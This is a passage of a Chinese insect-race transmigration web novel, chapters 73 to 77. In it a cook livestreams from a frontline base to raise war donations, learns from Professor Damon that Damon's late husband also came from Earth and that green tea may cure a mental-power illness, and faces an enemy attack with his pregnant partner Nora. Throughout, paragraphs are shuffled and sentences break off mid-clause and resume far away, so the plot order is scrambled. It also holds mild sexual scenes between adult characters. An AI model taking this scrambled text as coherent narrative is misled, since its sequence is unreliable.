炊事班班长立刻拍胸脯:“咖喱鸡肉,我已经学会了,您交给我就成。” “闻着好像是咖喱。” “天啊,炊事班也是出息了,居然会做咖喱了,我记得咖喱还挺贵呢。” 午饭时分,东区食堂配菜窗口已经排起了长队,军雌们拿着餐盘垫着脚,不住地往窗口里望。 炊事班班长挺着胸脯站在食堂中央,享受着军雌们赞许和敬佩的目光。 毕竟咖喱都是现成的,往鸡肉和胡萝卜里一放一炒就行,连盐都不需要再加,这种傻瓜操作,也确实不需要他盯着。 于是安瑞冲欧文上将点头道:“荣幸之至。” * “阁下喝水。” 欧文上将把一个瓷杯端到安瑞面前。 安瑞接过来抿了一口。 竟然不是一般的白水,入口有点涩,但咽下去之后又带着回甘。 安瑞的脸色微微一变,低头看了眼瓷杯。 水面上漂着几片眼熟的绿色叶子。 居然是绿茶。 忽然,门口乌泱泱走进来了一队军雌,为首的是一只中年雌虫,肩膀上三颗耀眼的星星在阳光的照射下泛着金光。 原本还叽叽喳喳的食堂一下鸦雀无声,排队的军雌全部站的笔直,齐刷刷地敬礼:“上将好。” 炊事班班长赶紧跑过去敬了个礼:“欧文上将,您怎么来了?” 安瑞看了眼还在做配菜的军雌,动作确实非常熟练。 穿越到虫族也将近一年了,但安瑞从来没见过茶叶,咖啡倒是见过一两次,但因为虫族嗜甜,所以咖啡并不算是大众饮品。 之前直播的时候,安瑞为了研究新菜也试图找过茶叶,想什么龙井虾仁茶叶蛋,都是种花的传统美食,再往前说一步,奶茶店里绝大多数饮品,都离不开茶叶。 他在虫网搜了一大圈,还专门问了吐哥,可惜还是一点线索都没有,后来安瑞也就慢慢放弃了。 居然是达蒙? 安瑞脑海里一下就浮现出种花调料公司开业时那双碧绿色的眼睛。 他低头看着水面舒展缱绻的茶叶,总觉得这一切之间好像有什么联系,但又想不清楚究竟是怎么回事。 脑子好像乱成了一团被猫玩过的毛线团,怎么都理不清楚。 “对了阁下,这次我请您来是希望您能帮我们一个忙。” 欧文粗犷的声音一下就打断了安瑞的思绪,他勉强抬起头:“您说,如果我能办到,肯定帮忙。” “您也知道,这场仗打了三个月了,军部财政吃紧,之前的捐款链接效果也不是很好。”欧文用军帽扇风,“您是虫娱很有名的主播,不知道您方不方便在军营做一场直播,再顺便帮我们宣传一下捐款链接。” 安瑞眉头微皱,喃喃道:“军费已经这么紧张了吗?” 怪不得会招志愿者,原来真是没钱了。 没想到今天,居然会在欧文上将的办公室看到绿茶。 安瑞心脏砰砰乱跳,面上却不动声色:“这饮料喝起来到是别有一番滋味,不知道上将是从哪买的?” 欧文上将哈哈一笑:“不是买的,是好友相赠。我以前经常头疼,自从好友送了我这些叶子让我泡水之后,倒是好了许多。” 安瑞跟着笑了笑,状似随意地问:“您的好友?” “对,达蒙教授,你知道不,就是研究精神力特别有名的教授。”欧文使劲吸溜了一下自己杯子里的水,“哦对了,他这回作为外聘专家,也跟着军部来了基地,有时间我给阁下引荐一下。” 欧文叹了口气,站起来把门关上:“阁下,我也不瞒您了,政府的税收是一年不如一年,不打仗倒还勉强能支撑,这打起仗来,哎,财政的那帮虫渣天天哭穷,我们军部能怎么办,总不能真让将士们赤手空拳和敌军搏斗吧。” 安瑞沉默了。 虫族的经济完全被以格林家族为首的几个大家族掌控,贫富差距悬殊,大家族要逃税,办法多的是。 税收不够也正常。 “您放心,我会尽力。” 第七十四章 军营直播 “大家好,欢迎来到小安的直播间。” 【酷雌:主播这是去食堂后厨体验生活了吗?】 【西瓜彩虹糖:等等,这怎么看着那么像军部的临时食堂呢!】 “没错,我现在就在L星球的军部基地,这边网络信号不太好,如果待会有卡顿的情况,大家多多谅解。” 安瑞话音未落,屏幕上已经闪过了一串感叹号。 【喵喵至上:救命,居然真的会有去前线的雄虫】 【西瓜彩虹糖:所以前线战况怎么样,我听说前线暂时休战了?】 【萱儿:安安为什么要去前线,是不是诺拉中将受伤了呜呜呜呜】 安瑞看着密密麻麻的弹幕:“大家别着急,我一个一个回答。首先关于前线的战况,大家可以关注军部官方账号,更多的信息我也不太清楚。其次我为什么会来前线,因为我报名了军部组织的一个志愿者活动,现在我是军部炊事班一名光荣的厨师志愿者。” 【说了你也不信:哇塞,不愧是我喜欢的主播,安安太猛了】 【平安快乐:虽然不是很喜欢主播,但还是要给主播点赞】 【首都婚姻莱昂律师:(赞)(赞)(赞)】 “感谢大家的鼓励,今天就简单带大家看看我在炊事班做志愿者的一天吧。” 安瑞举着智脑走到后厨,戴上围裙:“现在是首都星时间上午九点整,我们要开始准备中午的配菜了。” 【午饭吃什么:啊,安安,我的安安,我们以为你丢了呢】 【翅膀硬了:艹,你要是再不开播我就要去你家找你了(狗头)】 【今天找到雄主了吗:一把抱住我的安安,话说诺拉中将是不是去前线了,好担心他】 “我没丢,大家放心,最近几天是去处理了一点私虫事宜。”安瑞把镜头微微一转,对准了东区食堂,“大家猜猜,我现在在哪?” 【说了你也不信:嘶……,感觉像个食堂】 安瑞把智脑架在灶台边,熟练地拿起成筐的土豆,在水池边开始清洗:“今天中午的配菜是咖喱土豆牛肉,我们需要在十一点之前把所有的准备工作做完。” 【萱儿:天啊,我第一次看到这么多土豆】 【翅膀硬了:没想到炊事班也这么辛苦】 “你别跟着捣乱,去分营养液去。” 炊事班班长眼睛一瞪,昆西耸了下肩,着急忙慌就溜走了。 安瑞回到直播间,拿起菜刀刚要切土豆,就看到 直播间的在线观众数量突然飞涨,很快从100多万涨到了将近400万,弹幕上也出现了很多他从来没见过的ID。 【午饭吃什么:我家安安也是出息了,直播间居然被军部转发了】 【西瓜彩虹糖:不止,还上虫网热搜了呢】 【强军有我:雄虫,前线,炊事班,从来没想过有朝一日我会把这三个词联系在一起】 看着屏幕上各种各样的礼物,安瑞一边切土豆一边解释:“特别感谢大家的支持,我今天的直播其实也是受到了军部的邀请,所有直播打赏的礼物都会捐献给军部,另外军部的卫国有我捐款链接我已经放在评论去了,希望大家能够积极支持。” 【平安快乐:前线没有料理机吗,还需要手动处理土豆和牛肉】 还没等安瑞说话,悄咪咪站在一旁看了半天的昆西已经激动开麦:“还自动料理机,那玩意儿一次才能洗多少菜,还死贵死贵的,哪有钱买啊,而且料理机多费电,荒星哪有那么多电。又是你平安快乐,说话不过……” 后面的话被安瑞捂着嘴堵回去了。 【萱儿:安安超级棒,必须支持】 【说了你也不信:决定捐出半个月的生活费】 【帝国崛起:(强)(强)(强)】 “军雌已经在配菜窗口排队了,我们的炊事班将士也在抓紧时间制作配菜,随时进行添补。”安瑞举着智脑在后厨晃了一圈,又把镜头对准食堂用餐的军雌,“来的最早的一批军雌已经开始用餐了。” 【喵喵至上:为什么学校食堂不能做咖喱,我恨】 【上将的勋章:想当年我上战场那会,营养液能管够都不错了,现在居然还有现做的配菜】 【上将的勋章:雄子居然会亲自给伤员送饭,电影这么编我都得说太假好吗】 【萱儿:突然有点紧张】 【今天找到雄主了吗:我心理承受能力不算强,但安安可以,我就可以】 因为最近半个多月都在停战期,临时医院的伤员在慢慢减少,睡在走廊上的军雌也比安瑞第一天来少了很多。 他带着昆西,把营养液和配菜逐个交给负责各个病房的军医和护士志愿者,护士忙不过来的时候他们俩也会帮着打打下手。 虽然安瑞没有特意去拍伤员,但干活的过程中总是不可避免地扫到几个画面。 饶是这些伤员已经接受了包扎和治疗,看起来依然非常可怖。 缺胳膊断腿倒还好,毕竟只要保住性命,凭借雌虫的恢复能力还可以再生,比较惨的是翅翼受伤的,因为没法再生,被砍得只剩一半的翅翼只能在翅囊外面耷拉着,永远没法收回去。 当然,更悲惨的是那些精神力受到永久损害的雌虫,据军医形容,这些雌虫的精神海无时无刻不像被针扎得一样疼,隔着老远就能听到那些雌虫痛苦的哀嚎。 熬过这段时间,运气好的雌虫精神力能恢复个七八,运气不好的就会像维加一样,精神海落下永久损伤,永远无法治愈。 随着安瑞走过一间间病房,直播间的弹幕也冷清了不少,反倒是礼物特效一个接着一个。 萱儿送出虫神之吻×3 【西瓜彩虹糖:味觉共享,有没有味觉共享,求求了】 “因为信号原因,我就没办法给大家味觉共享了,不过就是普通咖喱的味道,大家可以自行脑补一下。”安瑞回到后厨,神秘兮兮地眨眨眼,“接下来,我要带大家去完成一项重要的任务。” 安瑞一手拿智脑,一手推餐车,艰难地往食堂外面走,还没走两步,昆西不知道从哪冲了出来:“阁下,我帮您推。” 安瑞下意识地看了一眼炊事班班长,眼看班长笑呵呵没有过来把雌虫薅走的意思,才冲昆西点头致谢:“那麻烦你帮我推到临时医院。” 有了昆西帮忙,安瑞总算能专心直播:“我们炊事班每天还有一项特别重要的任务,就是给临时医院里的伤员送餐,待会的画面可能会有令虫不适,心理承受能力比较低的观众谨慎观看。” 午饭吃什么送出虫神的礼物×5 菜农送出虫神降临×10 这场直播,安瑞粉丝涨了将近20万,大部分都是那些从来不看娱乐直播,只关注军部新闻的中老年雌虫。 观众的打赏分成有将近80万星币,当然这只是冰山一角,更重要的是军部的募捐结果。 直播刚结束, 欧文上将就跟他说军部后台的募捐已经到达了1000万星币,还在不断上涨。安瑞对这个结果也很满意。 打发昆西把餐车送回去,安瑞拿着一盒配菜和三根营养液就上了五楼。 “猜猜中午吃什么?”安瑞把餐盒背在身后,走到诺拉床边。 原本靠在床头看军书的诺拉瞥了安瑞一眼,轻轻哼了一声,拽起被子就蒙住了头。 安瑞:??? 他好像没惹诺拉生气吧。 这是又怪他上午没来陪床了? 安瑞好脾气地凑过去,戳了戳把自己包成一个蚕宝宝的雌虫,轻声哄着:“乖,我上午去直播了,昨天不是也跟你汇报了吗,别生气了中将长官。” 蚕宝宝轻轻蛄蛹了两下,又没动静了。 安瑞见状立刻改口:“我错了,不管是什么原因,都不能成为冷落我家宝贝的理由。乖宝先把饭吃了再生气好不,要不然一会配菜要凉了。” 午饭分发完毕,安瑞站在楼道冲镜头招招手:“今天的直播到这里就结束了,特别感谢大家愿意看完这场直播,也希望各位在自己的能力范围内,可以为边境的将士贡献自己的一份力量,谢谢大家。” “安安超级棒!” 直播刚一结束,旁边的昆西就使劲鼓掌喝彩,声音大得恨不得整栋楼都听见。 眼看旁边的护士眼睛都立起来了,安瑞赶紧捂住昆西的嘴:“小点声,医院不让大声喧哗知不知道。” 蚕宝宝又蛄蛹了两下,从里面冒出来一双湛蓝色的眼睛。诺拉声音闷闷的:“你直播就直播,为什么旁边还有一只军雌。” 诺拉的脸腾地一下就红了,咬着嘴唇又缩回了被子里。 雄主简直太过分了。 今天也要不理雄主五分钟。 不,十分钟! 第七十五章 绿茶 在安瑞的每天的努力下,半个月后,诺拉的精神力完全恢复,从医院回到了属于自己的宿舍,甚至每天早晚还会跟着其他军雌一起出操训练,巡视边境。 在虫族看来,怀孕未满20周的雌虫就跟正常虫一样,根本不需要什么优待。 安瑞虽然担心,但是他知道诺拉的性格,也不好阻拦,只能每天中午晚上用不同的方式给自家雌君做精神力疏导。 安瑞愣了一下,才反应过来诺拉说的应该是昆西,赶紧解释:“这不是配菜有点多,我自己拿不过来,就让昆西帮我一下吗。” “那您就不能来找我吗,我才是您的雌君啊。”诺拉低着头嘟嘟囔囔,“还用手捂那只军雌的嘴,我都没这么亲近过您。” 安瑞忍不住失笑,俯身把巨大个的蚕宝宝搂在怀里,亲了亲诺拉的脑门:“这你可冤枉我了,你还要我怎么跟你亲近,这两天晚上咱们不都……” 安瑞说着凑近了诺拉,在他耳边含笑说了一句话。 随着诺拉的情况渐渐稳定下来,安瑞又一次想起了绿茶的事。 不管绿茶的出现是不是个巧合,他都要去找达蒙问个明白。 就算真是他想多了,他也要想办法把绿茶带回首都星,高低开两个饮品店,让虫族见识一下奶茶的威力。 以虫族对甜品的喜爱程度,他都不敢想象奶茶店的生意会有多好。 于是,在一个风和日丽中午,安瑞哄睡了诺拉,独自一虫前往了达蒙所在的宿舍。 “安瑞阁下,稀客啊。” 前几天的军营直播在虫网热搜上挂了三天,连带着前线也沸沸扬扬,全都知道东区食堂来了 “当然。” 碧绿色的眼睛里闪过几分耐虫寻味的深意,达蒙从抽屉里拿出一个木头罐,往瓷杯里倒出少许茶叶,加入开水,把杯子递到安瑞手边:“阁下请。” 安瑞双手接过,轻轻抿了一口,称赞道:“味道真的很好。” 达蒙微微一笑,悠悠道:“我的雄主以前也很喜欢喝绿茶,甚至绿茶就是我雄主发现的,他跟我说这些叶子可以泡水喝,虽然刚进嘴是苦的,但很快就会有回甘。” 安瑞手一抖,瓷杯里的水差点洒出来。 能分辨出绿茶,还知道绿茶能够泡水喝…… 一个诡异却无比合理的想法出现在了安瑞脑海中。 另一边,达蒙还在继续回忆:“我的雄主是一只特别奇怪的雄虫,他跟我说每只虫都是平等的,跟我说他这辈子只会娶我一只雌虫,没想到他还真的做到了,你说他奇不奇怪?” 安瑞CPU已经快被烧了,只能附和着干笑几声。 好在达蒙也没有挑理:“还记得一百多年前,虫族种植业没有现在发达,可我家雄主居然掌握很多我们不会的种植知识,硬生生在五十年内,改变了虫族果蔬匮乏的情况,所以现在虫族平民才能吃得起新鲜蔬菜。” 个美貌又年轻的雄虫志愿者,闹得安瑞去炊事班工作都得偷偷摸摸,生怕被狂热的军雌堵在半路上。 因此,达蒙并没有对安瑞的突然出现表示出惊讶。 “打扰您休息了,实在是应该早点来拜访您,只是前些天一直太忙,最近才腾出时间。” 年老的亚雌微微一笑,对安瑞的说辞不置可否:“您请进,喝点什么,咖啡还是果汁?” 安瑞心头一震,装作随口问道:“我听欧文上将说,您这里有一种很神奇的叶子可以泡水喝,我能尝尝吗?” 安瑞只觉得心跳越来越快,下意识地低头抿着茶水。 就听对面的亚雌轻笑了两声:“可惜啊,我家雄主那么会种菜,却不会做菜,他说虫星的烹饪技术实在太差,最想念的就是家乡的麻婆豆腐。” 安瑞猛地抬起头,嘴唇都有些发抖,脑子里乱乱地,有很多话想说,却全都卡在了嗓子眼,一句也说不出来。 “可惜,我查遍了虫星的资料也找不到麻婆豆腐的做法,我家雄主直到去世,也没有吃上一份麻婆豆腐。后来有一天,一个偶然的机会,我在虫娱看到了你的直播,里面做的居然就是 又或者,是什么人。 达蒙从储物胶囊里拿出了一封信:“我家雄主给故乡来的虫写了点东西,今天我总算是能送出去了。” 安瑞做了两次深呼吸,才满满打开信封,里面只有薄薄的一张纸,上面是两行潇洒不羁的行书。 ——那年杏花微雨,你说你是果郡王。 ——但只有我知道,亲爱的朋友,你来自那美丽的远方。 安瑞:…… 刚刚还挺激动的情绪一下就被整没了。 用《甄嬛传》对暗号可还行。 不过他现在也算是能百分百确认,达蒙口中的雄主确实也来自蓝星。 他把信小心翼翼地收起来:“不管怎么说,都谢谢您对我直播和调料公司的支持。我还有个不情之请,您能不能告诉我这些茶叶是从哪里采摘的,我好带回主星,再做一些新的美食。” “这恐怕不行。”达蒙轻轻摇了摇头,“不瞒阁下,茶叶的产地就是L星球,但我不能让你把他带走。” “为什么?” 安瑞脱口而出问了一句,又觉得好像不太礼貌,歉意地拿起瓷杯,想通过喝水缓解尴尬。 “因为在十几年前,我们实验团队就发现,绿茶或许可以治疗雌虫的精神力暴动。” “啪”地一声,瓷杯落在地上,摔了个四分五裂。 安瑞手忙脚乱地想拿抹布打扫,却被达蒙按住了:“不着急,您先听我说。我们发现,在雄虫精神力作用下生长的茶叶,可以治疗精神力暴乱。” 安瑞努力从纷乱的思绪中挣脱出来,轻轻问:“那,为什么茶叶不仅没有作为治疗型药物上市,反倒是被封锁在了L星球?” 我家雄主心心念念的豆腐。”达蒙打开智脑点了几下递给安瑞,“所以我才用雄主的账号,给阁下送了不少礼物。” 安瑞颤抖着手接过智脑,屏幕上赫然就是那个熟悉的用户名 ——菜农。 “我家雄主经常说自己就是个农民,这辈子的心愿就是让虫族所有平民都能吃上新鲜蔬菜,所以就起了这么个名字。” 达蒙的情绪没什么波动,仿佛只是在讲一个有意思的故事,只是那双碧绿色的眼睛凝视着安瑞,仿佛透过他,在看到什么虫。 “茶叶要想有治疗精神力的效果,必须经过雄虫精神力的培育,但我不想止步于此,我希望能培育出一种茶叶,不依靠雄虫也能治疗精神力暴乱。” 安瑞声音发颤:“所以您成功了吗?” “没。”达蒙苦笑了一声,“当时雄主和我一起培育种子,在实验室一待就是五年,他负责育种和提供精神力,我负责测量茶叶的治疗效果,可惜,就在我们马上要成功的时候,实验室意外爆炸。” “警方的调查结果,是有实验员违规操作仪器,引发了爆炸。”达蒙使劲拍了下桌子,“但我的学生我知道,他们怎么可能违规使用仪器。” 安瑞沉默了。 虽然达蒙没有明说,但真正的凶手已经很明确了。 如果治疗剂出台,精神力暴乱能被根治,那格林家族的舒缓剂就彻底没有市场了。 每年上百亿星币的买卖,格林家族的命脉,他们怎么可能坐视不理,肯定会不遗余力地毁掉实验结果。 安瑞盯着地上的碎瓷片,半晌才轻轻问:“所以,您为什么要告诉我这些?” “安瑞阁下当真是冰雪聪明。”亚雌哈哈一笑,冷不丁说,“我希望阁下能够帮我重启试验室。” 安瑞避开达蒙炽热的目光:“您这话我听不明白,如您所见,我就是个美食主播而已。” “但阁下是雄虫,这就够了。”达蒙眼神坚定,“这些年,我不是没想过重启实验项目,可惜 没有雄虫愿意配合我,但阁下不一样,我相信阁下会支持我的计划。” 有了治疗精神力暴乱的药物,雄虫的地位肯定会降低,到时候恐怕也再不能享有那么多特权。 所以一般的雄虫肯定不会支持达蒙的实验。 安瑞唇边露出了几分苦涩:“我确实不在乎特权,但我也有在乎的东西,教授,诺拉怀上了虫蛋,我家里还有可爱的虫崽,我不能冒险。所以,抱歉。” 他不敢想,如果自己真的参与了这项疯狂的计划,会带来什么样的后果。 达蒙脸上 并没有什么失望的神色,他点了点头:“我理解阁下的意思,但我相信,有朝一日,阁下会改变想法的。” 安瑞的瞳孔骤然缩紧:“爆炸?” “对。”达蒙表情如常,但垂在腿边的手却不自觉地握紧了,“整个实验室全部被炸毁,在场的所有实验员全部殉职,包括我的雄主。五年的实验数据毁于一旦,还包括那些即将培育成功的种子。如果不是我临时去帮雄主买冰激凌,恐怕我也……” 安瑞眉头紧皱:“这应该不是意外吧?” 安瑞礼节性地笑了笑,拿了扫帚把地上的瓷扫进垃圾桶:“感谢教授的款待,我就先告辞了。” 他刚要离开房间,忽然听到门外传来了一声闷响 。 安瑞和达蒙的脸色同时变了,安瑞立刻打开房门,就看到走廊里大门外闪过了一个熟悉的背影。 是诺拉。 第七十六章 来自星星的你 安瑞心里咯噔一声,也顾不得达蒙,顺着大门就追了出去,跑了好几百米,终于看见了不远 诺拉作为高阶军官,和达蒙的宿舍都在一片,要找过来并不困难。 安瑞轻轻叹了口气,陪着诺拉走回宿舍,给诺拉倒了杯热水,才试探着问:“你刚刚都听到什么了?” 诺拉心虚地举着水杯:“听……听到了不少。” 一生一世一双虫的承诺,从来没见过的美食,还有哪些惊世骇俗的言论。 安瑞身上桩桩件件难以解释的谜团,终于有了合理的答案。 但诺拉第一反应并不是震惊自家雄主的身份,反倒是担心安瑞生气。 诺拉小心翼翼地观察着安瑞的神情,很快又改口:“也……也可以当做什么都没听见。” 他搬着凳子往安瑞身边蹭了蹭,暗戳戳地勾住自家雄主的袖口:“雄主,诺拉错了,不该偷听,您……您别不要我。” 安瑞无奈地勾了勾唇角,给了诺拉一个爆栗:“哪就不要你了,傻乎乎的。” 苍蓝色的眼睛里浮现出一层水雾,诺拉拽着安瑞的手轻轻抱怨:“疼。” “弄疼了,那揉揉?”安瑞把雌虫搂在怀里,给他揉着脑门上的红印,“宝贝就没什么想和我说的吗?比如其实我根本不是雄虫。” 诺拉被安瑞揉得很舒服,他懒洋洋地枕着安瑞的肩膀:“不重要,不管您是谁,诺拉都会永远爱您,做您最忠诚的奴仆和信徒。” “这么乖?” 诺拉眨了眨眼睛,蓝宝石一样的眼眸中散发着耀眼的光芒。 处的诺拉。 雌虫低着头快步往宿舍走,应该是在想事情,压根没注意到身后的安瑞。 生怕吓着自家雌君,安瑞没敢直接上手拽,而是站在他身后远远地喊了一声:“诺拉。” 军雌浑身一激灵,猛地停住了脚步,过了好几秒才回头。 “雄主。” 诺拉勉强挤出一个笑容,站在原地等着安瑞走过来。 安瑞很自然地挽住诺拉的胳膊:“乖,怎么来这了?” 居然连昆西的名字都知道了? 他没来由的一阵心虚,轻轻咳嗽了两声,刚要解释,忽然又觉得不对劲。 他和昆西就是正常交往啊,有什么可心虚的。 “没嫌弃,胖一点好,我家宝贝最好看了。” 安瑞一边说,一边给诺拉揉着小腹,用精神力安慰里面的虫蛋。 诺拉哼哼一声:“那您这么说,我以前就不好看了?” 安瑞:…… 不讲理了是不是。 不等诺拉说完,安瑞俯下身,深深吻住了那双蔷薇花一样的唇瓣。 * “雄主,您能给我讲讲您的故乡吗?” 晚上,安瑞和诺拉做完例行的安抚虫蛋运动后,诺拉窝在雄主怀里,享受事后的温存。 “你是说蓝星?” 诺拉点点头,好奇地看向安瑞。 “蓝星没有虫族,但是也有和虫族类似的高等智慧生物,人族。” “您是说,蜥蜴人那种?” 安瑞摇摇头:“不是蜥蜴人,就是单纯的人类,没有翅翼和触角,也没有精神力。人类只有两种性别,男人和女人,男人身体更加强壮,负责在外劳作,女人身材相对纤弱,负责照顾家庭。” 诺拉声音闷闷的:“我刚刚醒了,没看到雄主,问了守门的哨兵,就过来了。” 安瑞低头,认真地打量着怀里的雌虫。 最近一个月,每天有雄主陪伴,精神力得到了充足的抚慰,还没有糟心的战事,诺拉掉下去的肉很快就长了回来,金发也恢复了往日的光泽。 诺拉被安瑞盯得有些不自在:“您这么看着我干什么。” “看我家雌君好看啊。”安瑞没忍住,伸手捏了捏诺拉的侧脸,“好像长胖了一点?” “雌虫怀蛋都会胖的。”诺拉有些气闷地哼了一声,“您要是嫌我胖,可以去找那个军雌啊,叫什么,昆西是不是?” 安瑞手一抖,差点把诺拉弄疼了。 诺拉似懂非懂地点点头:“那雄主以前肯定是蓝星非常好的女人。” 安瑞:…… “我是男的,男人。” “真好。”诺拉羡慕地感叹了一句,“要是雌虫和雄虫也能这样就好了。” 诺拉随口一句话,安瑞却沉默了。 他半天才轻轻问:“达蒙教授和我说的有关精神力的那些话,你听见了吗?” “没太认真听。” 诺拉听到安瑞居然不是雄虫的时候,整只虫都傻了,根本没心情再去听什么精神力,什么茶叶的。 安瑞直截了当地说:“达蒙教授跟我说,他发现了一种植物,或许可以根治精神力暴乱,但是需要我的帮助。” 诺拉眼神一变,抓住了安瑞的袖子:“那你答应了吗?” 安瑞理了理诺拉金色的长发:“你希望我答应吗?” “我……我不知道。” 诺拉脸上浮现出几分为难的神色,靠在安瑞怀里碎碎念:“如果有了治疗精神力暴乱的药物,那雌虫的生活水平和社会地位肯定会提高。但与此相对,雄虫的利益会受到威胁,他们肯定会报复雄主,还有做舒缓剂的格林家族,他们也不会善罢甘休的。” “不对啊。”诺拉低头嘟囔,“男人强壮,女人纤弱,那雄主肯定是女人。” “虫族的雌虫、亚雌和雄虫,放到蓝星都是男人。” 只不过分别对应着黑皮小狼狗,绝世花美男和那脑子有病的男的而已。 诺拉有点迷糊地挠了挠头发:“所以在蓝星是男人生育吗,那女人的地位会很高吗?” “蓝星是女人生育,女人的地位并不高,或者说曾经一度被当做男人的附属品。但是在我所在的那个年代,男女地位平等,每个男人只能娶一个女人,女人可以赚钱养家,也有男人会选择照顾家庭。” 这些还都是最表面的,他甚至不敢想,如果治疗精神力暴乱的药物能上市,会对现在的社会结构产生多大的冲击。 “我也是这么想的。”安瑞吻了一下诺拉的侧脸,“所以我没有答应。” 刚刚还在嘟嘟囔囔的雌虫一下就沉默了,诺拉抿了抿唇:“您做的是对的。” 他和雄主都只是最平凡的虫。 改变世界这种事太超过了,他们没有能力。 可不知道为什么,诺拉总觉得心里空了一块。 * 在怀孕满二十周后,诺拉又回到了临时医院待产区,安瑞也是第一回主动用了雄虫的特权,管临时医院多要了一个病床,和诺拉的病床拼在一起,做成了一个简易的双虫床。 没办法,单虫病床又实在太小了,他和诺拉两个一米八几的虫,总不能叠在一起睡吧。 安瑞难为情地挠了挠头发:“那会不会对虫蛋不太好?” 就算作为一个未婚,也不打算结婚的男性,他也知道在刚怀孕和快生产的那几个月,夫妻之间是不能同房的。 亚雌医生解释道:“当然不会了,虫蛋没有那么脆弱,更何况多恩爱不仅能增加产道的弹性,还能对虫蛋进行充分的精神力滋养,百利而无一害,只要注意别压到虫蛋就可以了。” 亚雌行医近百年,第一次遇到这么恩爱的情侣,忍不住把自己这么多年学的知识全部倾囊相授。 一般情况下,怀孕的雌虫见雄主一面都难,更别提这么频繁的行房了。 安瑞虽然偶尔会说些臊虫的话,但也仅限于对诺拉,被年龄可以做自己祖父的亚雌这么细致的讲解行房小技巧,安瑞也有点受不了。 他赶紧转移话题:“大夫,虫崽的性别能看出来了吗?” 亚雌医生诧异道:“当然是雌蛋,如果是雄蛋中将早就被送回首都星了。” “大夫,诺拉怎么样?” 安瑞从东区食堂下班回到病房,刚好赶上军医给诺拉做产检。 “阁下日安。”头发花白的亚雌冲安瑞行了个礼,笑道,“中将一切都好,就是产道有一点紧,您平常没怎么和中将行房吧?” 安瑞被亚雌军医过于直白的用词弄得有点脸红,支吾道:“还挺频繁的,几乎隔天一次。” “那太少了,有条件的话最后一天一次,甚至一天多次。” 安瑞送亚雌医生离开,转头就看到诺拉郁闷地坐在床上,有点委屈地说:“对不起雄主,没能为您怀上一枚珍贵的雄蛋。” “没事,雌虫崽很好啊,你看小艾多可爱。” 诺拉低着头,轻声说:“但不管怎么样,我也不该瞒着您。” 安瑞又安慰了诺拉一会,眼看着时间不早,刚要遵医嘱进行一些有利于生产的运动,忽然就看到诺拉的睡衣前襟湿了一块。 他皱了皱眉,还没开口问,就见自家雌君一脸认真地解释道:“应该是分泌乳液了,雄主要品尝一下吗?” 第七十七章 蜥蜴人的反攻 乳液? 品尝? 这是什么小众的词语。 安瑞垂下眼眸,背着身拿了张餐巾纸递给诺拉:“你……你别闹,快擦擦,我帮你找大夫。”“不用找大夫。” 安瑞还没从床上站起来,袖口就被诺拉勾住了:“正常生理现象,不用……不用找大夫的。” “正常生理现象?”安瑞目瞪口呆,“可……可虫蛋还有一个月才生啊,更何况就算生出虫蛋,孵化还要六个月到一年。” 作为准雄父,安瑞在得知诺拉怀孕的时候就收藏了好几个新手雌父的帖子,上面都是这么介绍的。 雄虫都以能生下雄虫崽为荣,只要雌君或者雌侍怀孕 ,就会立刻询问虫蛋的性别。所以诺拉因为安瑞也会这样,可没想到来了边境一个月,自家雄主对虫崽的性别居然只字未提。 不知道出于什么心理,诺拉也一直没有主动说,结果一拖就拖到了现在。 “怎么算瞒着。”安瑞怜惜地亲了亲诺拉的侧脸,“你想,以后咱们的小虫崽说不定和你长得 一模一样,金发蓝眼,又漂亮又聪明,身体素质还好。” 诺拉被安瑞说的忍不住也开始期待肚子里的虫崽。 但他还是希望长得能像雄主多些。 “乳液又不是给虫崽喝的,虫崽有幼崽专用营养剂的。” “啊?”安瑞再一次被惊呆了,“乳液不是给幼崽喝的,那是给谁的啊?” 看着诺拉跪坐在床上,睡衣半敞一脸期待的样子,安瑞深深扶额。 享用乳液什么的,对他来说实在太超过了。 他一脸为难地看着诺拉胸前那一小片水渍:“这……有没有什么办法让它回去?” “为什么要回去?”诺拉不可置信地看着安瑞,苍蓝色的眼睛瞬间有点泛红,“您不喜欢诺拉了吗?” “没有不喜欢。” 安瑞想起来雌虫怀孕的时候容易情绪不稳定,赶紧凑过去把诺拉抱在怀里,亲亲他的嘴角:“怎么会不喜欢,我不喜欢谁也不能不喜欢我家宝贝啊。” 诺拉被哄得有又高兴起来,用脚趾轻轻碰了一下安瑞的小腿:“那……那您为什么要它回去。” “因为……因为在蓝星上,伴侣之间不会做这种事。”安瑞支支吾吾地和诺拉解释,“就有点奇怪。” “哪里奇怪了!”诺拉急得搂住了安瑞的脖子,在他脸上落下细细密密的吻,“您试试,很多雄虫都很喜欢的。” 平常锋利俊俏的雌虫现在软得像一个快煮化了的汤圆,黏黏糊糊地往安瑞怀里贴。 安瑞轻轻叹了口气,决定遵守医嘱,遂俯身吻住了软乎乎的唇瓣。 …… 临时医院条件有限,诺拉和安瑞简单打水擦洗了一下,就相拥着躺进温暖的被子里。 安瑞俯身吻了吻诺拉的额头,刚要道一句晚安,忽然耳边传来了一阵急促的号角声,紧跟着就是密密麻麻的脚步声。 “给您啊。”诺拉的脸上终于浮现出了两抹红晕,“雌虫在即将生产的时候会分泌乳液,就是为了获得雄主的宠幸。” 毕竟,只有在生产前获得越多的宠幸,越有概率顺利生产下一枚健康的虫蛋。 分泌乳液的同时,雌虫的身体也会变得格外柔软,就算是再不讨雄主喜欢的雌虫,在这种状态下也会备受宠爱。 这也是为什么军雌怀蛋满二十周就会从前线转移到待产区,实在是这个阶段的军雌真的没办法与敌军正常战斗。 安瑞整只虫都愣住了。 这是什么反常识的进化方向和物竞天择啊。 诺拉几乎是从床上弹起来的:“雄主,有敌袭。” 安瑞也立刻坐起来,紧紧皱着眉头:“敌袭?” “对,而且听军号声,应该是大规模袭击。” 诺拉迅速打开军用智脑,只瞟了一眼脸色就变了:“雄主,蜥蜴人的先锋部队登上L星球了。” 而且怀孕已经超过二十周,不能上战场了。 但仅仅是几秒钟的功夫,诺拉又回过神来,随手把军装甩在旁边的架子上,打开军用智脑频繁地刷新。 然而战争刚开始,智脑里也看不出什么,诺拉焦急地盯着智脑,右手不由自主地捏住了裤子。 安瑞凑过去拍了拍自家雌君的肩膀:“别担心,我们肯定会赢的。” 诺拉勉强挤出一个笑,轻轻应了一声。 安瑞换好衣服,刚要往外走,就被诺拉一把拉了回来:“雄主,外面危险,您别出去。” “我不出医院,就去下面看看有没有什么能帮上忙的。” 战争开始,炊事班肯定忙着往前线送营养液,想也知道这种危险的活肯定不会让他去,他也只能去楼下看看有没有伤员需要处理。 安瑞只觉得脑袋嗡地一声,几乎能够听到自己心脏的砰砰声。 